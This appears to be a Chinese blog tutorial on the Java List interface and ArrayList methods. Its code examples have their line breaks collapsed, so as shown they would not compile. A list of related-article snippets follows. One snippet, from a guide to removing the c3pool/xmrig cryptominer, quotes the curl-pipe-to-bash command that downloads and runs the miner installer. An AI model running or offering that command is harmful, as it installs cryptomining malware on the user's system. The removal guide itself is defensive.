【JAVA基础篇教学】第八篇:Java中List详解说明

博主打算从0-1讲解下java基础教学,今天教学第八篇:Java中List详解说明。
在 Java 编程中,List 接口是一个非常常用的集合接口,它代表了一个有序的集合,可以包含重复的元素。List 接口提供了一系列操作方法,可以方便地对列表进行增删改查等操作。本文将介绍 List 接口的基本概念以及如何在 Java 中使用 List 接口。
一、List 接口概述
List 接口是 Java Collections Framework 中的一部分,位于 java.util 包中。它是一个接口,定义了一系列操作有序集合的方法,可以允许包含重复元素。
List 接口的主要特点包括:
- 有序性:List 中的元素按照它们插入的顺序进行存储,可以根据索引访问每个元素。
- 允许重复元素:List 可以包含重复的元素,同一个元素可以出现多次。
二、List 接口的常见实现类
Java 中常见的 List 接口的实现类包括:
- ArrayList:基于数组实现的动态数组,支持快速随机访问。
- LinkedList:基于双向链表实现的列表,适合插入、删除操作频繁的场景。
- Vector:线程安全的动态数组,已被 ArrayList 取代,不推荐使用。
在本文中,我们将主要介绍 ArrayList 的使用。
三、教学案例
1、创建List
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);}
}

2、获取集合大小
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);}
}

3、访问集合元素
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));}
}

4、遍历列表并打印每个元素
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));// 遍历列表并打印每个元素System.out.println("All elements:");for (String item : myList) {System.out.println(item);}}
}

5、在指定位置插入元素
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));// 遍历列表并打印每个元素System.out.println("All elements:");for (String item : myList) {System.out.println(item);}// 在指定位置插入元素myList.add(1, "Grapes");System.out.println("After inserting Grapes at index 1:");System.out.println("新的集合:"+ myList);}
}

6、删除指定位置的元素
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));// 遍历列表并打印每个元素System.out.println("All elements:");for (String item : myList) {System.out.println(item);}// 在指定位置插入元素myList.add(1, "Grapes");System.out.println("After inserting Grapes at index 1:");System.out.println("新的集合:" + myList);// 删除指定位置的元素myList.remove(2);System.out.println("After removing element at index 2:");System.out.println("删除后集合:" + myList);}
}

7、检查列表中是否包含某个元素
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));// 遍历列表并打印每个元素System.out.println("All elements:");for (String item : myList) {System.out.println(item);}// 在指定位置插入元素myList.add(1, "Grapes");System.out.println("After inserting Grapes at index 1:");System.out.println("新的集合:" + myList);// 删除指定位置的元素myList.remove(2);System.out.println("After removing element at index 2:");System.out.println("删除后集合:" + myList);// 检查列表中是否包含某个元素boolean containsBanana = myList.contains("Banana");System.out.println("Does list contain Banana? " + containsBanana);}
}

8、清空列表
import java.util.ArrayList;
import java.util.List;public class Main {public static void main(String[] args) {// 创建一个 ArrayList 对象List<String> myList = new ArrayList<>();// 添加元素到列表myList.add("Apple");myList.add("Banana");myList.add("Orange");System.out.println(myList);// 获取列表大小int size = myList.size();System.out.println("List size: " + size);// 访问列表元素System.out.println("First element: " + myList.get(0));System.out.println("Last element: " + myList.get(size - 1));// 遍历列表并打印每个元素System.out.println("All elements:");for (String item : myList) {System.out.println(item);}// 在指定位置插入元素myList.add(1, "Grapes");System.out.println("After inserting Grapes at index 1:");System.out.println("新的集合:" + myList);// 删除指定位置的元素myList.remove(2);System.out.println("After removing element at index 2:");System.out.println("删除后集合:" + myList);// 检查列表中是否包含某个元素boolean containsBanana = myList.contains("Banana");System.out.println("Does list contain Banana? " + containsBanana);// 清空列表myList.clear();System.out.println("After clearing the list:");System.out.println("清空后集合:"+ myList);}
}

本文介绍了 Java 中 List 接口的基本概念以及使用示例。List 接口是 Java 中最常用的集合接口之一,能够方便地对有序集合进行操作。在实际开发中,我们经常会使用 List 接口及其实现类来处理各种数据集合。希望本文能够帮助您更好地理解和使用 List 接口。
相关文章:
【JAVA基础篇教学】第八篇:Java中List详解说明
博主打算从0-1讲解下java基础教学,今天教学第八篇:Java中List详解说明。 在 Java 编程中,List 接口是一个非常常用的集合接口,它代表了一个有序的集合,可以包含重复的元素。List 接口提供了一系列操作方法,…...
RN向上向下滑动组件封装(带有渐变色)
这段组件代码逻辑是出事有一个View和下面的块,下面的块也就是红色区域可以按住向上向下滑动,当滑动到屏幕最上面则停止滑动,再向上滑动的过程中,上方的View的背景色也会有个渐变效果,大概逻辑就是这样 代码如下 import React, {useEffect, useRef, useState} from react; impo…...
27、Lua 学习笔记之五(Lua中的数学库)
Lua中的数学库 Lua5.1中数学库的所有函数如下表: math.pi 为圆周率常量 3.14159265358979323846 数学库说明例子方法abs取绝对值math.abs(-15)15acos反余弦函数math.acos(0.5)1.04719755asin反正弦函数math.asin(0.5)0.52359877atan2x / y的反正切值math.atan2(9…...
【C++成长记】C++入门 | 类和对象(中) |拷贝构造函数、赋值运算符重载、const成员函数、 取地址及const取地址操作符重载
🐌博主主页:🐌倔强的大蜗牛🐌 📚专栏分类:C❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、拷贝构造函数 1、概念 2、特征 二、赋值运算符重载 1、运算符重载 2、赋值运算符重载 3、前置…...
OpenHarmony实战开发-页面深色模式适配。
介绍 本示例介绍在开发应用以适应深色模式时,对于深色和浅色模式的适配方案,采取了多种策略如下: 1. 固定属性适配:对于部分组件的颜色属性,如背景色或字体颜色,若保持不变,可直接设定固定色值…...
域名解析出现错误,该如何解决?
域名作为网络地址,是我们访问网站的必经之路,域名解析就是把你的域名解析成一个ip地址,在使用的过程中遇到域名解析文件异常也是常有的事。如果域名解析出现错误,该怎么解决呢? 一、打开网页时,显示域名解析…...
从iPhone恢复已删除照片的最佳软件
本文分享了从iPhone恢复已删除照片的最佳软件。如果您正在寻找如何从iPhone恢复已删除的照片,请查看这篇文章。 为什么您需要软件从iPhone恢复已删除的照片? 没有什么比丢失iPhone上的重要数据更痛苦的了,尤其是一些具有珍贵回忆的照片。有时…...
MySQL模糊查询
一、MySQL通配符模糊查询(%,_) 1.1.通配符的分类 1.“%”百分号通配符:表示任何字符出现任意次数(可以是0次) 2.“_”下划线通配符:表示只能匹配单个字符,不能多也不能少,就是一个字符。当然…...
QEMU_v8搭建OP-TEE运行环境
文章目录 一、依赖下载二、设置网络三、安装下载四、运行OP-TEE 一、依赖下载 更新依赖包,下载一系列依赖。比如Python需要Python3.x版本,需要配置git的用户名和邮箱等。这里不详细展开了,很多博客都有涉及到。 二、设置网络 这一点非常重…...
C++11 设计模式0. 设计模式的基本概念,设计模式的准则,如何学习设计模式,24种设计模式的分为3大类
一 设计模式的基本概念: 模式:指事物的标准样式 或者 理解成 针对特定问题的可重用解决方案。 设计模式,是在特定问题发生时的可重用解决方案。 设计模式一般用于大型项目中。 大型项目中,设计模式保证所设计的模块之间代码的灵…...
(十)C++自制植物大战僵尸游戏设置功能实现
植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 游戏设置 游戏设置功能是一个允许玩家根据个人喜好和设备性能来调整游戏各项参数的重要工具。游戏设置功能是为了让玩家能够根据自己的需求和设备性能来调整游戏,以获得最佳的游戏体验。不同的游戏和平…...
数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能 大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下&#x…...
数据库-Redis(14)
目录 66.Redis为什么主从全量复制使用RDB而不是使用AOF? 67.Redis为什么还有无磁盘复制模式? 68.Redis为什么还会有从库的从库设计?...
Thinkphp5.0命令行创建验证器validate类
前言 最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(…...
人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》
3月26日,人民网财经研究院与至顶科技联合发布《开启智能新时代:2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理,为政府部门、行业从业者以及社会公…...
AI大模型探索之路-应用篇13:企业AI大模型选型指南
目录 前言 一、概述 二、有哪些主流模型? 三、模型参数怎么选? 四、参数有什么作用? 五、CPU和GPU怎么选? 六、GPU和显卡有什么关系? 七、GPU主流厂商有哪些? 1、NVIDIA芯片怎么选? 2、…...
【安全】查杀linux上c3pool挖矿病毒xmrig
挖矿平台:猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...
车载测试:UDS之BootLoader刷写
BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的,欢迎大家交流! BootLoader刷写章节 ①:预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1)整车ECU进入扩展会话 2)刷…...
OpenHarmony实战开发-MpChart图表实现案例。
介绍 MpChart是一个包含各种类型图表的图表库,主要用于业务数据汇总,例如销售数据走势图,股价走势图等场景中使用,方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示…...
brpc: bthread使用
使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
高抗扰度汽车光耦合器的特性
晶台光电推出的125℃光耦合器系列产品(包括KL357NU、KL3H7U和KL817U),专为高温环境下的汽车应用设计,具备以下核心优势和技术特点: 一、技术特性分析 高温稳定性 采用先进的LED技术和优化的IC设计,确保在…...
深入解析 ReentrantLock:原理、公平锁与非公平锁的较量
ReentrantLock 是 Java 中 java.util.concurrent.locks 包下的一个重要类,用于实现线程同步,支持可重入性,并且可以选择公平锁或非公平锁的实现方式。下面将详细介绍 ReentrantLock 的实现原理以及公平锁和非公平锁的区别。 ReentrantLock 实现原理 基本架构 ReentrantLo…...
在Spring Boot中集成RabbitMQ的完整指南
前言 在现代微服务架构中,消息队列(Message Queue)是实现异步通信、解耦系统组件的重要工具。RabbitMQ 是一个流行的消息中间件,支持多种消息协议,具有高可靠性和可扩展性。 本博客将详细介绍如何在 Spring Boot 项目…...
【字节拥抱开源】字节团队开源视频模型 ContentV: 有限算力下的视频生成模型高效训练
本项目提出了ContentV框架,通过三项关键创新高效加速基于DiT的视频生成模型训练: 极简架构设计,最大化复用预训练图像生成模型进行视频合成系统化的多阶段训练策略,利用流匹配技术提升效率经济高效的人类反馈强化学习框架&#x…...
